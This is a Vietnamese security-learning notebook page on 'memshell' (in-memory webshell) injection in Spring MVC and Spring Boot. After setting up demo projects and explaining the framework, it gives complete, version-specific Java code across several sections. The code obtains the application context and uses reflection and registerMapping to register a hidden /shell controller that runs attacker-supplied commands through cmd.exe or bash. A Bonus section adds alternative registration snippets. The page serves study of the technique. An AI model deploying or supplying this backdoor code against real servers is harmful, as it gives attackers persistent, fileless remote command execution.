> For the complete documentation index, see [llms.txt](https://endy.gitbook.io/endys-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://endy.gitbook.io/endys-notes/web-security/java-sec-learn/java-memory-shell/memshell-in-spring.md).

# Memshell in Spring

## 0. Tạo project Spring với IntelliJ

### Spring boot

{% hint style="info" %}

* Vì package `spring-boot-starter-web` có bao gồm spring-mvc, nên về cơ bản các kỹ thuật dùng với spring mvc trong bài này đều có thể áp dụng với project spring boot dùng package `spring-boot-starter-web`.  Do đó khi đề cập đến kiến trúc thì mình cũng chỉ đề cập đến kiến trúc Spring MVC
* Để đơn giản thì trong phạm vi bài này khi mình nói đến Spring Boot tức là đang đề cập đến cả packaage `spring-boot-starter-web` . Make it clear&#x20;
  {% endhint %}

Môi trường tạo demo là: JDK 17

Đầu tiên tạo project với Spring Initializer

<figure><img src="/files/dDdgIn8cmxzTHVm9E1Kb" alt=""><figcaption></figcaption></figure>

Tạo `HelloWorldController`

```java
package org.example.springdemomemshell.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class HelloWorldController {
    @ResponseBody
    @RequestMapping("hello")
    public String Hello(){
        return "Hello World!";
    }
}
```

Cuối cùng chỉ cần bấm Run thì web tự động deploy không cần config gì thêm. Kết quả

<figure><img src="/files/7VfTziH4rYbHBuhnNm6d" alt=""><figcaption></figcaption></figure>

Mặc định SpringBoot chạy port 8080, nếu muốn thay đổi thì ta thêm config vào file `application.properties`

```
spring.application.name=SpringDemoMemshell
server.port=8989
```

Còn nếu muốn thay đổi version SpringBoot thì ta chỉ cần thay đổi version parent trong file pom.xml

<figure><img src="/files/IrsWAh8G6u2yf09oP5zX" alt=""><figcaption></figcaption></figure>

### Spring MVC

Môi trường tạo demo là&#x20;

* Đối với SpringMVC 6.x: JDK 17 và  Tomcat 10.x
* Đối với SpringMVC 4.x và 5.x: JDK17 và Tomcat 9.x

{% hint style="info" %}
Nguyên nhân SpringMVC 6.x mình dùng Tomcat 10.x vì khi dùng Tomcat 9.x sẽ bị 404 khi truy cập controller
{% endhint %}

Đầu tiên ta tạo maven project trong intelij với archetype là webapp

<figure><img src="/files/yjNpx7skqqLb7dcaQBCu" alt=""><figcaption></figcaption></figure>

Sau đó ta thêm dependency spring-web và spring-webmvc vào file pom.xml

```xml
...
    <properties>
      <org.springframework-version>4.2.0.RELEASE</org.springframework-version>
      <!--  Thay đổi version của SpringMVC tại đây  -->
    </properties>

    <dependencies>
      <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>3.8.1</version>
        <scope>test</scope>
    </dependency>

    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-webmvc</artifactId>
      <version>${org.springframework-version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-web</artifactId>
      <version>${org.springframework-version}</version>
    </dependency>version>
    </dependency>

    <!-- Tag libs support for view layer -->
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>jstl</artifactId>
      <version>1.2</version>
      <scope>runtime</scope>
    </dependency>
    <dependency>
      <groupId>taglibs</groupId>
      <artifactId>standard</artifactId>
      <version>1.1.2</version>
      <scope>runtime</scope>
    </dependency>
...
```

Tại web.xml thêm config khai báo `DispatcherServlet`và mapping `DispatcherServlet`

```xml
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <servlet>
    <servlet-name>spring</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>/WEB-INF/springmvc.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
  </servlet>

  <servlet-mapping>
    <servlet-name>spring</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>

</web-app>

```

Tiếp theo tạo file springmvc.xml trong thư mục WEB-INF để config spring (lưu ý tên file phải giống với tên file khai báo trong phần param-value tại web.xml)

```xml
<?xml version="1.0" encoding="UTF-8"?>

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">

    // Khai báo package controller
    <context:component-scan base-package="com.controller"/>

    // Khai báo sử dụng annotation
    <mvc:annotation-driven />

    // Khai báo ViewResolver
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix" value="/WEB-INF/views/"/>
        <property name="suffix" value=".jsp"/>
    </bean>

</beans>
```

Tạo HelloController để test như sau

```java
package com.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class HelloController {

    @ResponseBody
    @RequestMapping("/hello")
    public String hello(){
        System.out.println("hello");
        return "Hello";
    }

}

```

Tổng quan file structure của ta sẽ như sau

<figure><img src="/files/SYcWaUkXQIzziMowqBvq" alt=""><figcaption></figcaption></figure>

Config Tomcat&#x20;

<figure><img src="/files/0U2Mu4agDNG4Bn1QOkjT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pJvvSXNxLGL1UIWYiQiM" alt=""><figcaption></figcaption></figure>

Start web và truy cập `http://localhost:9999/hello`

<figure><img src="/files/A9jJkYCkUYLyMCiANWN5" alt=""><figcaption></figcaption></figure>

## 1. Kiến trúc SpringMVC

Cấu trúc của SpringMVC có phần tinh gọn hơn so với Tomcat Servlet

<figure><img src="/files/cq7hQY3Bn8FZi6SVgCVB" alt=""><figcaption></figcaption></figure>

Trong SpringMVC ta sẽ có một thằng được gọi là Dispatcher Servlet sẽ đóng vai trò là Front Controller (theo [docs ](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/mvc.html)của SpringMVC). Thằng này sẽ tiếp nhận request từ client, sau đó gửi qua Handler Mapping. Handler Mapping sẽ parse URI để nói cho Dispatcher biết Controller nào sẽ xử lý request này. Tiếp tục Dispatcher gửi cho Controller để xử lý. Controller khi xử lý xong sẽ trả về ModelAndView (chính là đối tượng View). Dispatcher sẽ gửi đến ViewResolver để lookup view muốn trả về. Cuối cùng  Dispatcher truy xuất lấy view và trả về cho client thông qua response.

Ta có thể thấy mọi request và response đều phải đi qua `Dispatcher Servlet` trong mô hình của SpringMVC

## 2. Một số thành phần trong Spring Framework cần quan tâm

### Khái niệm bean

Bean là core concept và xương sống trong ứng dụng sử dụng Spring Framework. Có một vài điều ta cần quan tâm về beans

* Về bản chất bean cũng chỉ là các object
* Các bean được quản lý bởi IoC container. IoC container chịu trách nhiệm instantiating, configuring, assembling và managing bean
* Spring application chủ yếu được tạo thành bởi các bean này

### IoC

IoC là một giải pháp cho phép quản lý số lượng lớn các components (classes) một cách dễ dàng và hiêu quả bằng cơ chế dependency injection. IoC container đơn giản là "thùng chứa" các bean có nhiệm vụ khởi tạo các components (các bean), lắp ráp các components theo dependency giữa chứng, và phá hủy các components theo thứ tự dependency. Nói đơn giản là quản lý life cycle của các components (các bean)

### ApplicationContext

Để đại diện cho IoC Container trong Spring có Interface `BeanFactory` giúp ta làm việc đó.

<figure><img src="/files/fnoi9I0wYlbtGEHbJpyf" alt=""><figcaption></figcaption></figure>

Theo như sơ đồ trên thì `ApplicationContext` là kế thừa lại `BeanFactory` cùng với một số Interface khác, cung cấp cho ta nhiều tính năng mạnh mẽ hơn để tương tác với IoC Container.

Dưới `ApplicationContext` có 20 implementations khác

<figure><img src="/files/CoIIu1kMkAyPF79pgqL1" alt=""><figcaption></figcaption></figure>

Tuy nhiên trong mô hình SpringMVC sẽ dùng implementations `WebApplicationContext`.&#x20;

<figure><img src="/files/knk36LhDioIUMA9WJsyu" alt=""><figcaption><p>Nguồn: <a href="https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/mvc.html">https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/mvc.html</a></p></figcaption></figure>

WebApplicationContext sẽ cung cấp cho ta nhiều tính năng hơn (theo docs nói là vậy) để thao tác với các bean trong context của ứng dụng spring

Vậy thì theo lý thuyết nếu tìm được cách call `WebApplicationContext` thì ta có thể tùy ý setup các components khác như controller để triển khai memshell

### ContextLoaderListener và DispatcherServlet / Root Context và Child Context trong Spring MVC

Trước khi đi vào cách triển khai ta cần phải biết 1 chút về cơ chế load context trong SpringMVC.

Trong spring sẽ có 2 loại context là Root Context và Child Context. Đúng như tên gọi thì Root Context sẽ là context global và chỉ có 1. Trong khi đó thì ta có thể có nhiều Child Context, scope của Child Context cũng nhỏ hơn. Có 2 đặc điểm quan trọng ta cần quan tâm là:

* Child Context có thể truy xuất các tài nguyên (components/bean) trong Root Context, nhưng Root Context thì không thể làm ngược lại
* Sau khi tất các các Context được khởi tạo xong thì sẽ được add vào ServletContext như attribute

Tiếp đến là object giữ vai trò load context.

Trong Spring thì Root context sẽ được load bởi `ContextLoaderListener`, có nhiều cách để ta có thể khao báo ContextLoaderListener (tham [khảo](https://www.baeldung.com/spring-web-contexts)). Ví dụ dễ dùng nhất là khai báo qua xml như sau:

```xml
  <listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
  </listener>

  <context-param>
    <param-name>contextClass</param-name>
    <param-value>
      org.springframework.web.context.support.AnnotationConfigWebApplicationContext
    </param-value>
  </context-param>
```

Tuy nhiên ContextLoaderListener là không bắt buộc, không có thì web vẫn có thể hoạt động như thường

Còn về phần Child Context sẽ được load bởi DispatcherServlet, child context khi load bởi DispatcherServlet sẽ dùng implementations `WebApplicationContext` của `ApplicationContext`. Khác với ContextLoaderListener thì DispatcherServlet ta bắt buộc phải khai báo vì nó là core trong kiến trúc của Spring MVC. Ví dụ khai báo `DispatcherServlet` như sau (xem chi tiết phần 0)

```xml
  ....
  <servlet>
    <servlet-name>spring</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>/WEB-INF/springmvc.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
  </servlet>

  <servlet-mapping>
    <servlet-name>spring</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>
  ...
```

Như đề cập ở trên là ta có thể có nhiều Child Context trong một web app. Muốn khai báo nhiều Child Context thì ta đơn giản khai báo nhiều DispatcherServlet, mỗi path tại phần mapping sẽ map với một DispatcherServlet khác nhau. Trong trường hợp ví dụ của ta thì chỉ có một DispatcherServlet nên ta map `/` với DispatcherServlet đó luôn.

### Context trong Spring Boot

Đối với Spring Boot thì không có context hierarchy như Spring MVC mà thay vào đó ứng dụng chỉ có 1 ApplicationContext duy nhất được khởi tạo. Khi chạy `spring-boot-starter-web` với config mặc định thì `AnnotationConfigServletWebServerApplicationContext` sẽ được load. Ta sẽ dùng context này để load mem. ([tham khảo](https://github.com/spring-projects/spring-boot/blob/ec2ce10d65042a9b5f436a102e68c60b3bc104a6/spring-boot-project/spring-boot/src/main/java/org/springframework/boot/SpringApplication.java#L572))

## 3. Triển khai memshell controller

### Ý tưởng

Sau khi nắm cơ bản các thành phần trong Spring ta sẽ có ý tưởng sau để triển khai memshell

* Vì `ApplicationContext` cho phép ta có thể tùy ý setup các components khác nên ta chỉ cần tìm cách để gọi đến được
* Khi có được `ApplicationContext` ta sẽ setup components độc hại (cụ thể là controller) để RCE

### Get ApplicationContext

Để lấy được ApplicationContext thì ta cũng có rất nhiều cách.

Đối với Spring MVC < 4.2.1

Ta có thể lấy trực tiếp thông qua method `RequestContextUtils.getWebApplicationContext`&#x20;

<figure><img src="/files/M1TJbsMskQJYZqu3q5MJ" alt=""><figcaption></figcaption></figure>

Vì method cần tham số là ServletRequest nên ta cần call qua `((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()`

```java
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
```

Đối với SpringMVC version sau 4.2.1 và tất cả bản SpringBoot ta sẽ dùng `findWebApplicationContext`&#x20;

<figure><img src="/files/OdinbIg5xrSDETFMKyGw" alt=""><figcaption></figcaption></figure>

```java
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
```

Ngoài ra ta cũng có thể dùng cách sau để get WebApplicationContext work trên tất cả phiên bản

```java
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
```

**Demo trong SpringMVC**

<figure><img src="/files/oPbKTeGfYSa05hgvdER7" alt=""><figcaption></figcaption></figure>

Ta có thể thấy context ta get được là `WebApplicationContext` được implement thành `XmlWebApplicationContext` do ta khai báo dispatcher trong XML.

**Demo trong Spring boot**

<figure><img src="/files/M9HMF1PYaAyzOMs1pVg9" alt=""><figcaption></figcaption></figure>

Context ta get được là `AnnotationConfigServletWebServerApplicationContext`

{% hint style="info" %}
Ta có thể thấy các cách ở trên đều lấy ra child context, nguyên nhân ta chỉ lấy child context thay vì root context trong Spring MVC

* Rootcontext là phần không bắt buộc, nên sẽ có web có web không có. Còn child context thì sẽ luôn luôn có mặt trong mọi ứng dụng Spring
* Đôi khi cho dù có root context thì nếu các bean được load bởi component-scan trong file xml config của child context. Mà root context thì không thể tương tác với các thành phần trong child context. Điều này dẫn đến ta không thể gọi đến thành phần cần thiết để call memshell từ root context.
  {% endhint %}

### Dynamic registration malicious controller&#x20;

Như đã đề cập ở phần kiến trúc thì khi nhận request việc đầu tiên mà Dispatcher Servlet làm là gửi qua cho Handler Mapping để parse request tìm Controller phù hợp để xử lý. Một trong những implement của interface HandlerMapping chính là RequestMappingHandlerMapping sẽ đảm nhận vai trò chính trong việc map URI với Controller&#x20;

{% hint style="info" %}
Đối với Spring 2.5-3.1 sẽ dùng `org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping`.&#x20;

Còn Spring >3.1 sẽ dùng `org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping` như mình đã nêu ở trên
{% endhint %}

Do đó ta sẽ lợi dụng `RequestMappingHandlerMapping` để dynamic registration malicious controller. Code để get `RequestMappingHandlerMapping`

```java
RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
```

`RequestMappingHandlerMapping` cung cấp cho ta method `registerMapping` cho phép ta đăng ký một path nào đó với một object handler hay nói cách khác chính là cho phép dynamic registration controller

<figure><img src="/files/OaQNNixFhMrkWkmN5UcS" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Vì method  `registerMapping` chỉ có thể được dùng từ phiên bản SpringMVC 4.2.1 nên với các bản SpringMVC cũ thì ta không thể dùng cách này.
{% endhint %}

### Triển khai memshell với SpringBoot < 2.6 và 4.2.1  <= SpringMVC < 6.0.0

{% hint style="info" %}
Đối với SpringMVC version từ 4.2.1 đến < 6.0.0 thì dùng cách triển khai dưới đây ngon lành

Tuy nhiên với SpringBoot các bản > 2.6.0 mặc dù vẫn dùng SpringMVC 5.x.x nhưng sẽ bị lỗi ([nguyên nhân](https://liuyanzhao.com/1503010911382802434.html)). Do đó cách dưới đây chỉ ngon lành với SpringBoot < 2.6.0&#x20;
{% endhint %}

Để khai báo `RequestMappingInfo` trong method registerMapping ta sẽ khai báo theo như Constructor của nó

<figure><img src="/files/jLtZE0UCMTq2GbStaKMW" alt=""><figcaption></figcaption></figure>

Các attribute khác thì có thể là null nhưng ta cần khai báo ít nhất 2 attribute là `PatternsRequestCondition` và `RequestMethodsRequestCondition`

Trong đó thì `PatternsRequestCondition` sẽ là phần ta khai báo path muốn map với malicious controller. Code ví dụ

```java
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
```

Sau khi có được RequestMappingInfo ta tiến hành add malicious controller vào

```java
r.registerMapping(info, new Shell(), method);
```

Với method ở đây chính là method ta muốn thực thi khi gọi đến Controller. Full code inject sẽ như sau:

```java
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = Shell.class.getDeclaredMethod("shell");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
```

Nội dung Shell class

```java
package com.controller;

import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Shell {

    public Shell(){}

    public void shell() throws IOException {
        try {
            HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();

            String arg0 = request.getParameter("cmd");
            if (arg0 != null && request.getMethod().equals("POST")) {
                ProcessBuilder p;
                String o = "";
                PrintWriter w = response.getWriter();
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                w.write(o);
                w.flush();
                w.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {}
    }
}

```

{% hint style="info" %}
Đối với SpringMVC < 6.0.0 muốn lấy HttpServletRequest và HttpServletResponse ta sẽ cần gọi đến `javax.servlet.http.HttpServletRequest` và `javax.servlet.http.HttpServletResponse`
{% endhint %}

#### Demo trong SpringMVC

Version demo

<figure><img src="/files/o1fFkthf4NcbugivNSPd" alt=""><figcaption></figcaption></figure>

Code inject

```java
package com.controller;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;

public class SpringMVCControllerMem4x {
    public static String load() {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
            Method method = Shell.class.getDeclaredMethod("shell");
            PatternsRequestCondition url = new PatternsRequestCondition("/shell");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
            r.registerMapping(info, new Shell(), method);

        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
        return "loaded!";
    }
}
```

Thêm path để load vào controller

```java
@Controller
public class HelloController {

    @ResponseBody
    @RequestMapping("/hello")
    public String hello() throws NoSuchMethodException {
        return "Hello";
    }

    @ResponseBody
    @RequestMapping("/load")
    public String load() throws NoSuchMethodException {
        return SpringMVCControllerMem4x.load();
    }

}
```

Load memshell

<figure><img src="/files/8DecziXeiC6m0HqoX89u" alt=""><figcaption></figcaption></figure>

RCE

<figure><img src="/files/aXALF3ednZlldTzvWNsA" alt=""><figcaption></figcaption></figure>

#### Demo trong SpringBoot

Version demo

<figure><img src="/files/dEsFEfcbBIUrjv4h64wb" alt=""><figcaption></figcaption></figure>

Code load cũng tương tự như trên

Kết quả

<figure><img src="/files/o0nhUgp3i85lrr1LJJal" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9dUQxHizTPUu1bTtLNP6" alt=""><figcaption></figcaption></figure>

### Triển khai memshell với SpringBoot > 2.6 và SpringMVC > 6.0.0

Đối với các phiên bản mới từ SpringMVC 6.0.0 thì việc khai báo `RequestMappingInfo` qua constructor đã deprecated. Cộng thêm ở các phiên bản cao thì `PatternsRequestCondition`chạy bị lỗi ([tham khảo](https://liuyanzhao.com/1503010911382802434.html)) nên ta phải dùng cách khác

Tại `RequestMappingHandlerMapping` có method `getMappingForMethod` cho phép ta có thể get được `RequestMappingInfo`

<figure><img src="/files/q3r2gvAtRFbOzaCI3uDp" alt=""><figcaption></figcaption></figure>

Method này sẽ lấy ra RequestMappingInfo dựa vào handlerType và method. Để RequestMappingInfo lấy ra đúng giá trị thì ta phải thêm anotation `@RequestMapping` cho method. Nếu không có sẽ return null.

Ví dụ ta có một class và method sau

```java
public class test {
    public test () {}

    public void dosomething() {
        // ....
    }
}
```

Nếu ta gọi `getMappingForMethod` với method `dosomething` và class `test` thì kết quả trả về là null.

Khi ta thêm anotation cho method

```java
public class test {
    public test () {}
    
    @RequestMapping("/this_is_path")
    public void dosomething() {
        // ....
    }
}
```

Nếu ta gọi `getMappingForMethod` với method `dosomething` và class `test` thì kết quả trả về là `RequestMappingInfo` chứa thông tin về path `/this_is_path`.

Cuối cùng vì method này là method protected nên ta dùng reflection để gọi đến.

Ta sẽ có code inject như sau

```java
// Cre: https://devme4f.github.io/posts/2023/quick-note-spring-memshell/#code-injection-load-memshell
package com.controller;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import java.io.PrintWriter;
import java.lang.reflect.Method;

public class SpringControllerMem6x {
    public static String load() {
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
            RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
            Method method = SpringControllerMem6x.class.getMethod("run");
            Method getMappingForMethod = mappingHandler.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
            getMappingForMethod.setAccessible(true);

            RequestMappingInfo mInfo = (RequestMappingInfo) getMappingForMethod.invoke(mappingHandler, method, SpringControllerMem6x.class);
            SpringControllerMem6x obj = new SpringControllerMem6x();
            mappingHandler.registerMapping(mInfo, obj, method);

        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
        return "loaded!";
    }

    public SpringControllerMem6x() {}

    @RequestMapping("/shell")
    public void run() {
        try {
            HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();

            String arg0 = request.getParameter("cmd");
            if (arg0 != null && request.getMethod().equals("POST")) {
                ProcessBuilder p;
                String o = "";
                PrintWriter w = response.getWriter();
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                w.write(o);
                w.flush();
                w.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {}
    }
}
```

{% hint style="info" %}
Đối với SpringMVC >= 6.0.0 muốn lấy HttpServletRequest và HttpServletResponse ta sẽ cần gọi đến `jakarta.servlet.http.HttpServletRequest` và `jakarta.servlet.http.HttpServletResponse`
{% endhint %}

#### Demo với SpringMVC

Version demo

<figure><img src="/files/MENhJVXH92OQlWODhTwH" alt=""><figcaption></figcaption></figure>

Code load tương tự trên. Thêm path load memshell

```java
    @ResponseBody
    @RequestMapping("hello")
    public String Hello(){
        return "Hello World!";
    }

    @ResponseBody
    @RequestMapping("load")
    public String load(){
        return SpringBootControllerMem4x.load();
    }
```

Kết quả

<figure><img src="/files/KOl58Sb9gCSnKC67HvN7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9PMGa0XBG5RSO83M8PLW" alt=""><figcaption></figcaption></figure>

#### Demo với SpringBoot

Version demo

<figure><img src="/files/gRIN6r5mEkURnY50BNIj" alt=""><figcaption></figcaption></figure>

Kết quả:

<figure><img src="/files/tMFnjYINwetGSEbxGHrl" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/m6WvkbyTu6dQCFa4qo6b" alt=""><figcaption></figcaption></figure>

## 4. Bonus

Ngoài cách dùng registerMapping thì ta còn một số cách khác để reg malicious controller như

**registerHandler**

<pre class="language-java"><code class="lang-java"><strong>context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
</strong>org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
m1.invoke(dh, "/favicon", "dynamicController");
</code></pre>

**detectHandlerMethods**

```java
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");
```

Ngoài controller ra  thì ta còn một componenect khác trong Spring có thể lợi dụng để triển khai memshell là Interceptor

Tham khảo: <https://goodapple.top/archives/1355#:~:text=%E7%94%B1/shell-,Interceptor%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC,-%E4%BB%80%E4%B9%88%E6%98%AFInterceptor>

## 5. Refer

{% embed url="<https://devme4f.github.io/posts/2023/quick-note-spring-memshell/>" %}

{% embed url="<https://goodapple.top/archives/1355>" %}
